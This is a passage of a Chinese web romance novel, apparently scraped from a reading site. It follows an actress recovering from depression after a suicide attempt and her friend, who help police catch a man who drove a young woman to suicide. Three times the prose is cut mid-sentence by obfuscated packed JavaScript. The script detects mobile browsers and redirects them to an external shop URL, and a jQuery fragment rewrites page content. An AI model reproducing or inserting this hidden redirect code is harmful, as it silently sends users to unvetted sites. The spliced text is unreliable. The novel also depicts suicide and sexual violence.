l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575731|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯。” “……”淡淡的一个“嗯”，伤害性不大，侮辱性却强。 想她当初学吉他，可是找了老师的，如今也仅止于会拨弄两下，调子不算吓人的程度。 这就是来自学霸的碾压吗？ “你还做过服务生？”干脆再换个话题。 江述点头：“酒吧、餐馆，都干过。”他抬眼，笑了一下，“我做菜的功夫，就是跟当地中餐馆的师傅学的。” “还以为，是跟你妈妈学的。” 江述摇了摇头。 儿时家中有保姆，妈妈很少下厨。从他记事起，到上中学以前，一直住在南湾区的一栋豪华别墅里。妈妈不出去工作，也很少关心他的生活和学习，一切都丢给保姆照料，但雇佣保姆的钱和日常花销从哪来？他不清楚。妈妈也从不提起爸爸，如果他问起，就会恶狠狠地说他死了。 期间妈妈嫁人、离婚、又嫁人、又离婚……生活颠沛，对他更是疏于过问。 江述不愿多提，便换了话题，问：“中午想吃什么？” “嗯……”童颜想了想，“饺子。” “好。” 一曲乡村民谣弹完，江述又换了首柔缓催眠的，童颜在悦耳的曲声里闭上眼，不知不觉睡了过去。 * 江述在童颜家里待了一整天，到了晚上，也没有要走的意思。 童颜忍不住问：“你不回家吗？” “门锁坏了，回不去。”他说。 “……” 上次是水管裂了，这次是门锁坏了。 童颜仰头看天花板：“你干脆换个房子吧。我给你买，成吗？” “不合适。” 江述老神在在，边说边接了个电话，然后走到外面，拎了个美团的外卖袋子回来。 童颜简直惊了，这人，怕不是真把这当自己家了吧，出入怎能如此随意？ “你买的什么？不是吃了晚饭吗？”童颜问。 “不是吃的。” 他边说边上楼，童颜无奈道：“我真不会再犯傻了，你不用担心，回家吧行吗？” 江述理都没理她。 “你不用工作的吗？！” 至于这么严防死守，拿她当罪犯一样看着吗？ 童颜在沙发上躺了会儿，顺手回了几条微信消息，一看时间，已经九点二十了。 她起身上楼，打算回房间休息，路过江述门口，忽然想起件事，便推开门进去了。 “江……”名字没喊全，就倒吸了一口气。 江述刚从浴室出来，上身赤裸，下身穿了条黑色平角裤，脖子上挂着白色浴巾，边擦头发，边转头看过来。 童颜死都没想到，这种电视剧情节会发生在她身上。 大脑宕机了两秒，回过神，她连忙举起两手挡在脸前，尴尬地说：“对、对不起……我先出去。” 她踉跄着快步往后退，一不小心左脚踩右脚，拖鞋被踩掉，身子整个往后仰。 “小心！” 江述话音刚落，她扑通一声摔坐在地，后脑勺磕到了门上，发出“咚”的一声闷响。 童颜龇牙咧嘴地呻吟，一手撑地，一手去捂后脑勺。 江述已经跑过来，蹲在她身前说：“你走那么急做什么！”边说边扶着她问，“疼不疼？能站起来吗？” 童颜的头一整个都是蒙的，在他搀扶下慢慢站起身，伸手去摸尾椎骨。 冷不防眼神瞟到他身下，脸色瞬间红了个透。 江述也反应过来了，忙拽下脖子上的浴巾，胡乱裹在腰间。 “要去医院吗？” 江述微倾上身，头发湿着，水珠滴滴答答落下，顺着肩头滑落到胸膛，又顺着浑厚的胸肌流到腰腹……童颜背靠房门，几乎被他堵在门后，也不知是撞傻了还是怎么，盯着他那不知道几块的腹肌，好一会儿没说话。 江述皱眉，捧起她一侧脸：“傻了？说话。” 29. 依恋 童颜回过神，羞恼地推了他一把：“你干嘛不穿衣服啊！”说完捂着后脑勺，开门，慢腾腾地走了出去。 她尾椎骨疼得厉害，腿上不敢用劲儿。 “需不需要去医院？”江述追出来问。 童颜头也不回：“不去！” 她扶着墙走得慢，江述看不过去，一把将她打横抱起，童颜再次吓得倒吸口气。 “你干嘛！”她边说边捂眼，心里一个劲儿喊要死，“放、放我下来，我能走！” “快闭嘴吧。”江述轻怼了一句。 “……”童颜憋气，“你不穿衣服吓到人，你还有理了？！” 江述无语：“你洗澡会穿衣服吗？” “洗完了干嘛不穿啊！” “我在自己房间，谁知道你会突然进来？” “……” 好像是她理亏，但，还是好气！ “你烦死了！”她闭着眼，狠狠捶了他一下。 江述低低地笑了一声，垂眼看怀里的人。 她穿着毛茸茸的小黄鸡连体睡衣，大大的帽子垂在他手臂，小鸡的嘴巴尖尖，戳着她后脑勺上乱七八糟的头发。 “怎么还不到！”她气恼地抱怨一句。 其实两间屋子不过十步的距离，是他巴不得这走廊长到没有尽头，故意走得慢。 “真不去医院？”江述问。 童颜鼓着腮：“不去！这辈子都不去了！”昨晚的一通折腾实在是够了。 到她房门口，江述侧身撞开门，走到床边将她轻轻放下。然后说了句：“等我会儿。”转身就走了。 过了几分钟回来，他已经穿好了衣服。白色短T，睡裤。一手拎着她的拖鞋，另一手拿着云南白药。 “哪来的药？”她不记得家里有这玩意。 “我带回来的，这次集训主要是武术，磕碰难免，随身常备。” “哦。” 她也不好意思再凶人了。 江述站在床边，说：“你一会儿记得喷药，要是够不着，就……先喷到手上，再抹上去。” 要不要嘱咐得这么详细啊！她又忍不住脸红了。 瞟了他一眼，视线立刻躲到一旁：“你去睡吧。哦，差点忘了，我刚去找你是想说，那屋子暖气不热，你晚上记得开空调，别冻感冒了。” “知道了。” 他回了一句，两人都没话可说了，江述却磨蹭着没走。 沐浴后清香的气息弥漫在两人之间，童颜抽了抽鼻子，问：“你用的什么沐浴露？还是洗发水？挺好闻的。” 说着就抬眼去看他。 视线对上一秒，又尴尬地挪开，手指一下一下揪着床单。 怎么回事？搞得她这么不自在。 “一个美国的小众牌子。”和她喜欢的香水味类似，槐花调的，“不过没有女士用的。” “哦。” 江述没理由再留了，而且她撞伤了，应该让她尽快擦药，想着，抬手揉了揉她的发顶，说：“休息吧。” 然后就走了。 * 凌晨两点，童颜走出房间，几乎同时，隔壁房门也打开了。 她停在楼梯口，盯着江述愣了两秒，问：“你怎么没睡？” 江述没答，反问她：“你出来干嘛？” “饿了，找点吃的。” “别下去了，我给你拿。”说着，他走出来，经过她身边时轻道，“等着。” 童颜什么也没说，慢吞吞地挪回房间，坐在床上，背倚床头出神。 几分钟后，江述端了个碗回来，碗里是热牛奶和燕麦片。 “半夜吃多了不消化，早上该没胃口了。”他把碗递过去，“先垫垫。” 童颜接过来，见他要走，忍不住出声叫住了：“江述。” “嗯？”他回身看她。 童颜拿勺子搅和着牛奶，问：“你是不是，一直没睡？” 他没说话。 “为什么？”她把碗放在床头柜上，看着江述，“怕我再想不开？” 他沉默片刻，“嗯”了一声。 童颜忍不住鼻子一酸。 眼前人高高的个子，筋骨强壮，头发丝毫不乱，看着与平时无异，眼底却有掩不住的紧绷和疲惫之色。 看着倒像比她还可怜。 “你矮一些。”她小声抱怨，“我仰脖子累。” 江述闻言坐到床边，低着头，长腿朝前伸着，两手插进裤子口袋里。 “我不会了。江述，你别这么防备。”童颜说。 江述偏头看她，似在确认这话的可信度，少顷又转了回去。 “你不信我？”她问。 “我错不起。”他谙声道，“你先前问我，不用工作吗？我告诉你童颜，我现在真的，什么都不想管，只想拿根绳子把你拴我手上，二十四小时看着。” 童颜没想到，她一时冲动会把江述吓成这样，说实话，现在回想，她也不知道为什么会那么做。 她低着头没说话，江述问：“你到底怎么了？哪桩事让你痛苦到命都不要了？网暴？失恋？还是觉得自己不会演戏了？” 从没有人把这段时间发生的事血淋淋地撕开，问一问她，你到底怎么了？ 直到江述说出来，童颜才意识到，她还是希望有人问一句的。 尽管此时此刻的感觉，像有人拿刀子细细地划开了一道口子，从喉咙到心脏，尖锐得疼。 但她没有感觉很难过。 网暴？每天都在发生，可能有人比她承受过更狠的，谁想骂就骂呗，反正都会过去的。 失恋？不过就是性格不合分了个手，分手的人多了去了，旧的不去新的不来，也没什么大不了。 不会演戏？就像江述说的，等她情绪好了，一切就都好了。退一步说，也没人规定她这辈子只能当演员的，实在不行找个班儿上呗。 任何一桩事，似乎都不至如此。 她不断地开解自己，一会儿觉得想开了，一会儿又想，怎么会这样？事情是从哪里开始错了的？ “江述，我不知道。”她疲惫地闭上了眼，“我不知道怎么描述这种感受。我的意识很清醒，知道应该好好生活，但我的大脑里好像装了一台发动机，一刻也停不下来，即便在工作的时候，它也只是暂时降低了噪声，根本没办法彻底停下来……这是最痛苦的。” 江述感觉到深深的无力。 如果可以，他想把童颜的感受分走一半，这样他就能知道，该如何安慰她。 然而他也深知，任何安慰的语言都是苍白的。 “想哭吗？”他问。 童颜摇了摇头：“我只是，不太想动，连难过的感觉都不经常有。” 江述拉住她的手，将她拽到怀里搂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589622|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，抚着她的背，轻声说：“不想动就不动吧，在我这靠一会儿。” 莫名地，她一下子红了眼圈。 “现在想哭了。”童颜伸手搂住了他腰，“江述，我不知道哪里做错了，我很难过。”说着眼泪就涌了出来，顺着脸颊淌进脖子里。 “难过就痛痛快快地哭。”江述说。 她无声地流泪，令他也忍不住喉咙发紧，胸前的衣服湿了一片，凉意让他更紧地搂住了怀里的人。 “童颜，我虽不能和你感同身受，但会一直陪着你，直到你好起来。你一定会好的，信我吗？” 她重重点头。 “所以，不要再做伤害自己的事。你就当，是在攀岩。我虽不能替你往上爬，但会做你背后那根绳子，每当你滑落时，想想有我在，永远不会让你坠下去，记住了吗？” 她再次点头。 过了一会儿，童颜宣泄完情绪，身体和精神感到一种深深的疲倦，她一动也不想动，于是仍伏在他怀里，轻声叫他。 “江述。” “嗯。” “对不起。” “什么？”他垂首。 童颜没有抬头，闷闷说了一句：“我感觉自己，很依恋你。但我不知道，这是不是爱情。所以，你再等等我。” 他笑了一下，拇指抚摸着她的鬓角说：“我都不急，你急什么。”顿了顿，又抬起她下巴，问，“我在你眼里，有性别了吗？” 童颜眨巴着红肿的眼，见他视线向下，顿感双唇一阵麻，于是羞赧地别开脸，又埋进他怀里。 “看来是有了。” 他低声揶揄，闷闷笑了一下，引得胸腔震动。 童颜脑中霎时钻进一些少儿不宜的画面，充满力量感的肌肉，滴滴答答的水珠……她忍不住攥拳捶他一下，故意说：“有，你是我的……好姐妹嘛。” 后背挨了一巴掌，她也不恼。少顷打了个哈欠，声音里带着困倦的沙哑：“江述，你比安眠药管用。” “还吃东西吗？”他伸手摸了摸碗，还是热的。 童颜摇了摇头：“睡觉比较重要。” “那你等我一会儿。”他说着放开她，起身走了出去。 再回来时，换了件干净的T恤，靠坐在床头，伸出一条胳膊给她。 童颜愣愣地：“你干嘛？” “人形抱枕，要不要。”他坦然道。 童颜慢慢笑起来，蛄蛹着缩回被子里，抓住他的胳膊垫到颈下，头枕着他的肩窝，舒服地叹了一口气：“辛苦你了哦。” 他抚摸着她的头发，没说话。 “你刚刚，买的什么呀？美团的袋子。”她闭着眼问。 江述哽了一下，说：“用的东西。” “什么用的东西？我家没有吗？” “没有。” “到底什么呀？”好奇心驱使，她又睁开眼，仰头看着他问。 江述无奈地叹了口气：“我昨晚一下飞机就赶过来了，行李箱被晨星带走了，今天他来给我送换洗衣服，忘了带……内裤。” “……” 这个东西，她家确实没有。 两人默默对视，各自尴尬。 童颜缓缓转回头，闭上眼，双手一提，被子蒙过了头。 江述难得见她害羞，不可能放过打趣她的机会。 “不再聊会了？好姐妹？” 30. 真相 童颜暗暗咬牙，在被子里捏住他肋下的肉，狠狠地拧。 江述“嘶”声忍痛，抓住她作怪的手：“别闹，好不容易养出点困意，快睡。” 童颜在家躺了两天后，林慧心来看她，少不得一通语重心长的劝慰，但见她身体和精神都恢复不少，也就放了心。 童颜想提前结束休假，回剧组拍戏，林慧心却不同意。 “先养好身体，工作才有效率，导演都不催，你心什么急？” “这不是怕耽误大家进度吗。本来名声就不好，回头再被人说三道四，也给你找麻烦。” 林慧心推了下她额头：“你给我找的麻烦还少吗，不差这一桩。安心休息。”说着想起一事，“对了，我昨天遇见孟山涛了，简单聊了两句，他那电影可能得明年下半年启动了，怎么我听他那口风，对你很认可，咱们机会还是很大的。” 童颜听完没什么情绪波动，只说了句：“随缘吧。” 她已经不想强求了。 如今想起这部电影，就不可避免地要想起潘昀。 如果不是她跟孙艺涵争抢，就不会去找潘昀，如果没有找潘昀，就不会遇上倪笑，如果没有遇上倪笑，即便那姑娘可能会遇上不好的事，会不会……至少还有一条命在？ 这个疑问永远无从解答了。 童颜曾经试图联系潘昀，想通过他了解倪笑的事，但自那晚之后，潘昀一直不接电话，直到她从风波里脱身，潘昀才在微信上道歉，不过童颜并未回复。 林慧心瞧她意兴阑珊，也没再多说，拍了拍她肩膀，安慰道：“都会好的。” 林慧心接下来还有事，这就要走了。童颜送她到门口，林慧心边换鞋边指了指厨房。 江述正在里面打电话。 “怎么回事？一直在你家？” “嗯。” “他没行程吗？” “说是这周不忙，等进组呢。” 林慧心忍不住多想：“怕不是，对你有企图吧？” “哎呀什么呀！”童颜不大自在，“您别乱说，快走快走！” “我跟你说童颜，可千万慎重……”林慧心被她上段恋情搞得心有余悸，见她又招惹了个当红炸子鸡，恨不得吐血相劝。 厨房里，江述听见动静转身，指了指手机，冲林慧心打招呼，示意不送了。 林慧心微笑着摆了摆手，被童颜推出门去。 * 中午，饭菜上桌。 童颜对着一桌子美味，忍不住叹气：“我这么吃下去不行的。”想了想，转身就往储藏室走。 “干嘛去？” “称体重。” “那不是体重秤吗？”江述指着电视柜旁边说。 “那个不灵了，我买了个新的，到货很久了，一直没顾上拆。” 童颜进了储藏室，江述边吃饭，边回复微信消息，过了好一会儿，她还没出来。江述喊了一声，没人应，他心里一惊，起身就往储藏室跑。 “童颜！”他推开门，却见童颜跪坐在门后地上，旁边有一堆没拆封的快递盒子，“怎么了？” 童颜手里握着一个手机，满脸都是泪。 江述蹲下身，拿过手机看了一眼，神色顿时凝住——是倪笑录的视频。 再看向一旁刚拆开的快递盒，贴纸信息上显示，发件人：倪笑。 所以，倪笑在死前把自己的手机，寄给了童颜？ 江述点开视频，倪笑双手理了理长发，对着镜头微笑着开口。 「童颜姐，当你看到这条视频的时候，我已经不在世上了。离开前，我想找人说说话，找了半天，发现没人可说。还是跟你说吧。我的生活好像一片废墟，而你，是我这些年遇到的唯一的亮光。 妈妈在我很小的时候就去世了，我跟着爸爸生活，后来爸爸娶了老婆，我们关系很差，我就搬出来住了。 我打工挣钱，上了高中、大学。因为成绩不错，拿到了企业赞助的助学金，也因此认识了赵仕沅，从那以后……我丑陋的人生就开始了。 赵仕沅在一次社团活动上堵住我，并……强行跟我发生了关系。我当时感觉崩溃、羞耻、恶心……但他是我的资助人，出于亏欠，或者还有害怕吧，总之我最终没有告发他。 后来，赵仕沅跟我道歉，求饶，还说想和我在一起……我怎么会和□□犯在一起！ 起初我狠狠拒绝了他，但他没有停止对我的追求。一个富二代公子哥，你能想到的求爱攻势，我都见到过。最后我竟然……动心了。 直到现在我都觉得无比羞耻，我竟然，喜欢上了一个□□犯！ 赵仕沅得到了我，不过两月，新鲜感就过去了。他不再殷勤，我的羞耻和自厌也减轻了不少。之后，他拿我当个金丝雀养着，开心了就睡一觉，给点钱，不喜欢了就长时间不见人，就这样，我们断断续续保持了两年多的关系。 大四上半年，我决定切断这种畸形的关系，跟他提了分手，他应该也有新欢了吧，总之很爽快就同意了，从那之后，我们没有再联系。 毕业后，我在广告公司工作，没想到再次遇见了赵仕沅。 他是我们公司的客户。他再次缠上我，但我真的不想再过被人包养、没有尊严的日子，所以拒绝了他。 再后来，就是今天晚上。 赵仕沅骗我，说只要我去KTV陪他唱会儿歌，他就再也不纠缠我。我同意了，但我没想到，他会在酒水里下药……我真后悔。 童颜姐，我不是你以为的那种好女孩，我是一个肮脏、丑陋的人。我以为自己逃不掉了，却没想到，你闯进来救了我。 你那么勇敢，敢在面对暴徒时举刀相向。我一直在想，如果没有你的出现。我可能也会拿起刀子，只不过刀刃是朝自己。 撑了四年，我累了，也怕了。 和你相比，我是一个彻头彻尾的懦夫、垃圾。 我没办法向你形容，你带给我的震撼有多大，你劝我好好生活，我原本打算听你的话，用以后的人生去赎自己身上的罪，可是……赵仕沅不会放过我。 他发了我们之前的视频，说要散播出去，让我身败名裂……童颜姐，我也想像你一样勇敢，但我不是你，我就是一个懦弱的胆小鬼……童颜姐，我真希望早点遇见你，真希望活成像你一样的人。 如果你看到这个视频，会不会后悔救了我？ 我不想因为我的离开，给你带来麻烦，赵仕沅可能会报复你，如果真的发生了，你就把这支视频公开吧，还有他用来威胁我的视频，也存在手机里……让所有人都知道，他是一个什么样的畜生！ 好像，没什么要说的了……我要去找我妈妈了。童颜姐，谢谢你，还有，对不起！」 “我没有后悔救你。对不起……我应该让你留在我家的……对不起……”童颜哽咽着说。 江述紧紧抱住她。 “江述，我真的好难过啊……一个人想好好活着，怎么会这么难……” “好在只有七八十年，我们坚持一下，不要放弃，连倪笑那份，你也替她活了，好不好？” 童颜哭了一会儿，情绪有所缓和，伸手胡乱抹了把脸，咬牙道：“我不会放过那个害死她的人！” “你想公布视频？”江述问。 “事情平息了，如果公开视频，又会有很多人跳出来审 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598634|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 判她。”童颜摇了摇头，“我想把视频交给警方，但不知道赵仕沅背后有谁，我要想想，让我想想……” “我帮你。”江述扶她站起身，牵着手往客厅走。 童颜拒绝：“这件事跟你没关系，你不要牵扯进来。我不需要你帮。” 江述捏了捏她的手：“接受我，或者跟我绝交，你选一个吧。” 童颜看了他一眼，赌气说：“那就绝交！跟我这种倒霉催的搅和不清，你也会走霉运的……”说完感觉不吉利，又急忙“呸呸呸”。 “现在担心太晚了，已经搅和不清五年了。”江述轻笑了声，将她按坐到沙发上，“而且，我想了一个办法，如果顺利的话，这件事办起来不难，你要不要先听听？” * 两天后，北京某高档餐厅顶层，赵仕沅推开包间门，一进来，就冲坐在里面的童颜笑得一脸猥琐。 “呦，美女，一个人呐？不愧是敢对我动刀子的人，胆子不小啊！” “过奖了，跟你相比，我的胆子不算大。”童颜冷冷道。 “说吧，找我什么事？”赵仕沅往椅子里一坐，翘起二郎腿，摸出打火机点烟。 “你害死倪笑，又串通那晚在场的人帮你掩饰，最后轻松脱身，当然是找你聊聊这事。” “我害死她？拜托你搞清楚，她是自杀的，警方都查清楚了，麻烦不要血口喷人好吧？”赵仕沅还是有警惕性的，即便只有两人在场，也不肯承认自己做的事，“昀子说，你找我有很重要的事，不来会后悔，就这事啊，那别聊了。” 赵仕沅说着起身欲走，童颜道：“倪笑死前，还跟我说了很多事。你不想听听吗？” “什么事？”赵仕沅面露狐疑。 “这才对嘛。”童颜笑了起来，端起茶壶给赵仕沅杯里添水，“别急，咱们之间的账，得慢、慢、算！毕竟我也算无辜被你们牵扯进来，遭受了两个月网暴的受害者。” 赵仕沅挑了挑眉，脸上戒备之色稍减：“哦……原来是这事啊。童小姐受委屈了，找我要点精神损失费，好说，你如果陪我睡一觉，就更好说了。” 童颜恨不得把这油腻的大猪头踩个稀巴烂，忍着恶心说：“两千万。你在倪笑的酒水里下药，试图□□她，又殴打她这事，我烂在肚子里，以后不会再提。” 赵仕沅嗤笑一声：“即便你提了，又怎样呢？我现在不还是好好地坐在这里。你凭什么觉得，我会为一个已经定论的事给你两千万？还是童小姐答应了，要陪我睡一觉？那我倒是可以考虑。” “这件事不值两千万，那再加上你用私密视频威胁倪笑的事呢？” 赵仕沅心里一惊，眼睛危险地眯了起来：“你胡说八道什么？！” 童颜从座中起身，走到赵仕沅身边，直直盯着他：“我不仅知道这个，还知道你在她上大学时，就□□过她！” “你他妈的！”赵仕沅怒不可遏，一把掐住童颜脖子，阴恻恻道，“好啊，原来你今天是来套我话的。告诉你，打错算盘了。老子就是□□她了，那又怎样？她死了，死无对证！”说着，一把抓起童颜放在桌上的手机，“解锁！” 童颜被他掐得脸色通红，几欲昏厥，双手死死扒着他的手臂，试图摆脱钳制。 赵仕沅松开她脖子，一把抓起她的右手，掰着她的拇指往屏幕上按。童颜拼命挣扎，无奈赵仕沅力气太大，手机很快解锁了。 童颜试图抢回自己的手机，却被赵仕沅制住了，只能眼睁睁看着他点开录音机，脸上露出得逞的笑。 “想阴我？你还嫩点！” 说着长按录音，点了删除。 这时，包间门突然打开了。 31. 登高 两个中年男子进来，径直走到赵仕沅身边，一边出示警官证，一边说：“赵仕沅，你涉嫌□□、殴打、以散播性视频威胁女性至其自杀，跟我们走一趟吧。” “证据呢？”赵仕沅不以为意。 童颜冷笑一声，从桌子下面取出个手机——倪一笑的手机，一直用胶带粘在饭桌背面。 “刚才我们说的话，已经录下来了。还有其他的证据，都在这部手机里。”童颜说着把手机递给警官。 赵仕沅又惊又怒，当即冲过去要抢，却被两个便衣扭住了。 “童颜！你敢耍我！！你等着……”赵仕沅不停挣动，被警察扭送走了。 过不多时，一个男人走进了包厢。 他看上去四五十岁，身穿白衬衣和呢绒夹克，面庞红润，长相威严，正是市公安局四九分局刑警队大队长张铁军。 张铁军身后还跟着一人：江述。 今天这出连环套，是江述跟童颜一起策划的。 童颜先是利用潘昀的愧疚之心，请他帮忙把赵仕沅约出来。接着，向张铁军实名举报了赵仕沅的罪行。 之所以选择向张铁军举报，说起来跟江述有些渊源。 江述的上一部剧是警匪题材，当时张铁军作为剧组顾问，参与了专业指导。两人打过几个月交道，江述知道这位警官铁面无私，人送外号“红脸包公”。几年前，张铁军曾举报自家亲叔叔行贿受贿，为此，家里的老爷子跟他断了亲，直到现在都不来往。 此刻赵仕沅已被带走，江述诚恳道：“感谢张队一番筹谋。” “你小子！”张铁军伸指点了点他，板正的脸上带些许笑意，“把人民警察当猴耍，事后还给我戴高帽，筹谋，我筹谋什么了？” 其实倪笑的案子本不属张铁军管辖，若按正常程序，接到举报后，应当移送出至管辖区分局。然而，参与案情的人越多，举报之事泄露的风险越大，江述决定利用好时间差。 童颜跟赵仕沅约好今天上午十点钟见面，她八点钟才向张铁军举报。 考虑到犯罪嫌疑人危害性较大，且要与举报人单独见面，有证据灭失的风险，即便案情不属张铁军管辖，仍可按照紧急情况，从权处理。 于是张铁军提前在包间做了布防，刚才这里发生的一切，全都被摄像头记录下来，警官在隔壁是实时观看的。 有了赵仕沅的亲口供述，再加上倪一笑手机里的两支视频，足够定赵仕沅的罪了。 事情顺利办完，张铁军心里快慰，江述知道他没有指责的意思，便笑了笑，又问：“接下来，这案子还是会转移到辖区的公安机关吧？” 张铁军知道他在担心什么，看了看童颜，又拍了拍江述的肩膀，沉声说：“据我了解，先前倪笑这事以自杀结案，的确是证据不足，疑罪从无。有了今天这些材料，就可以重新立案调查。年轻人，没有谁能一手遮天，要相信警察。” “有您这番话，我们就放心了。” 张铁军又看向童颜说：“童小姐勇气可嘉，让人佩服。” 童颜摆了摆手：“您过奖了。我只是做了自己应该做的，多谢张队。” 三人闲话几句，张铁军便离开了。 江述问童颜：“累吗？”说着又抬起她下巴，细细看脖子，“疼不疼？” 童颜摇头：“没事。我现在，心里很畅快，真想找个空旷的地方，喊两嗓子。” 江述笑着，捏了捏她的脸：“走吧。” 童颜拍了他一下，羞赧道：“你干嘛老捏我脸……去哪？” “找个空旷的地方，让你喊两嗓子。” * 江述开车去郊区，带童颜爬一座无名的野山。 山不高，撑死了八百米，但不是正经景区，没有现成的台阶，几乎都是原生态的山路。 北京十二月中旬的气温，虽不至冷得彻骨，却也是没法将皮肤暴露在空气中了。 童颜裹着毛茸茸的白色围巾，爬了一会儿就开始气喘吁吁，身上冒汗，扯开围巾松快松快，冷空气灌进来，又打了个哆嗦。 “江述，你找这什么破地儿啊，我走不动了！” 童颜一手扶着树干，瞪着身前快她两步的人。 江述停步转身，俯看她。 白皙的小脸泛着红，在阴沉沉的天空下，四处焦黄的荒山上，显得格外有生气。 “你就是平时动的少。”他往回走几步，拽着她继续，“爬爬山，血气就活泛了。” “谁说我动的少了，我也是经常健身的人好吧。” “健身房练器材，跟户外能一样吗？”瞥见她一脸不情愿，他好笑地摇头，“已经一半了，再坚持坚持。” 听见爬了一半，童颜感觉好受了点，也肯和颜悦色地跟他说话了。 “你在国外时，经常去户外旅行吗？” 说起来，童颜对江述的了解，也仅限于他回国入行后，这五年的相处，此时忽然想听他说国外的生活。 “嗯。只要有假期，就会到处走走。” “跟好朋友一起吗？不对，你在国外有没有好朋友啊？” 江述抿唇瞥她一眼：“有那么几个。但我更喜欢一个人出门。” “为什么？” “自在。” 童颜撇了撇嘴：“你怎么活得这么独！出去玩当然要跟好朋友一起，好看的风景，好吃的东西，有人分享才更开心嘛！” “有道理。”他说着看了她一眼。 童颜顿时明了这个眼神的含义。他认同的是现在，此时此刻。 心口泛起丝丝甜意，她抿了抿嘴，转念又问：“上学时追你的人，是不是特别多？你有喜欢的人吗？交过女朋友吗？外国女生还是中国女生？” “你怎么问题这么多。” 江述走在前面，童颜本就比他矮，所处的地势又低，几乎是被他半拖着走，故而只能看见他的下颌，看不见脸上的表情。 她当真好奇，于是小跑两步跟上，扒住他胳膊，探头又道：“快说！” 他的视线投过来，唇角带着隐隐的笑：“不多。没有。没有。第四个问题不成立。” 童颜“嘁”了一声：“你就瞎说吧。反正我又不知道。” 其实他说的都是真的。 以前确实有一些女生向他示好，在他拒绝后也就不再继续，算不上追求吧。在遇见童颜之前，他是一个很难和人产生情感连接的人，亲密关系对他来说是负累，童颜说他活得“独”，倒是没说错。 像他这样一个“独”人，偶尔也会想想，对童颜的好感，乃至爱意从何而来，又为什么常常会有这辈子非她不可的念头。 说不清。 似乎从她透过对讲机朝他喊话那天起，就有一株藤蔓种在了心里，时隔几年，藤蔓已成燎原之势，且扎根在他的血肉里，要拔除是不可能了。 江述笑了笑，反问：“你呢？上学时追你的人，是不是特别多？有喜欢的人吗？” 童颜噎了下，想想这也没什么不好意思的，于是清了清嗓子，得意道：“追我的人，大概就从这里排到法国的样子吧。其中确实有那么一两个特别出挑的。” “哦？什么样的人，入了你的眼？”江述饶有兴致。 “长得好看，白白净净、高高瘦瘦的，哦对，还有理科成绩好，我比较喜欢物理或者数学厉害的男生。” “为什么？” 她理直气壮：“因为我学不好啊！我觉得，理科好的男生，大脑构造跟正常人不一样，很神奇。”说着一脸正色地探头询问，“你理科成绩好吗？” “要是不好，我就出局了？” 江述掀起眼皮，对她这种奇特的喜好颇有些无语。 童颜皱了皱鼻子： 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两手拢到唇边，用尽全力朝着十方荒山大喊，肺中浊气与眼角泪滴被风带走，连同那由无数人加诸其身的侮辱诋毁谩骂诅咒……也一并消散了。 在无边的空寂中，她重新看见了童颜。 不是艺人明星，不是谁的女朋友，就只是她自己，一个不需要被神化被赞美，也没有承受莫须有的误解和伤害的人。 她重新笑了起来，在突然开始飘落的雪花里，伸出手说：“江述，我感觉自已，又可以了。” “嗯。”江述轻轻应了一声，问，“冷不冷？要下山吗？” 她摇了摇头，偏头看他，脸上的笑意令嘴边的白雾都似带了温度。 “我还没有在下雪天来过山里呢，想多看一会儿。” “那走吧。”他朝她伸出手。 “去哪里？”她问。 “去一个适合赏雪的地方。” 江述牵着她，在纷纷扬扬的雪花里慢行。 走不多时，就看见一条蜿蜒的石板路，窄窄的，路的尽头连着石阶，其上是一座道观，名叫朝天观。 两人进入观中，童颜正正经经跪在殿中蒲团上，虔诚地上了一炷香，嘴中念念有词。 烧拜毕，江述问她：“许了什么愿？” 童颜看了看他，神秘道：“不告诉你。” 江述也不纠结。 两人在道观里逛了一会儿。 道观规模不大，里面只有三座大殿、四处斋堂，观中有十几个道士，平日也接待零星的香客，只是这观藏于深山，又没什么名气，一到入冬，几乎就没人来了。 童颜在一处斋堂前停下，仰头看院中柿子树上挂的果，对江述说：“你看，跟我穿的羽绒服一个颜色。” 话音刚落就打了个喷嚏。 江述拽着她进了斋房。其实里面的温度也没有高多少，鼻腔里都是清寒之气，童颜对搓着两手哈气取暖。 江述敞开羊绒大衣，童颜毫不客气地伸出两手，贴在他腋下捂着。 他的大衣将她半裹在身前，几乎是拥在怀中，头微微低着，与她视线相抵，在大殿沾染的线香气弥散至鼻间，令她有点昏了头。 “你真的喜欢我吗？”童颜突然问。 江述没说话，以眼神询问何意。 “怎么不见你，小鹿乱撞，羞涩不安？”她撇了撇嘴，“菩萨都没你这么冷静自持。” 他眼中染上笑意，说：“修行日久，自持就成了习惯。” “什么意思？” 江述有片刻无语，望了望房顶，视线又转回她脸上，问：“你养过猫狗没有？” 怎么话题如此跳跃？童颜不解道：“小时候养过几年猫。” “猫见了你，会小鹿乱撞、羞涩不安吗？” “？”她更糊涂了，“说明白点。” 32. 探班 江述从腋下拎出她两只爪子，牵着朝斋堂外走：“下山。趁着雪薄，路好走。不然得夜宿道观了。” 童颜鼓着腮帮子，亦步亦趋跟在他身后，还在缠问：“到底什么意思啊？” “没什么意思。”他闲闲地答一句，“等你小鹿乱撞了，再说。” 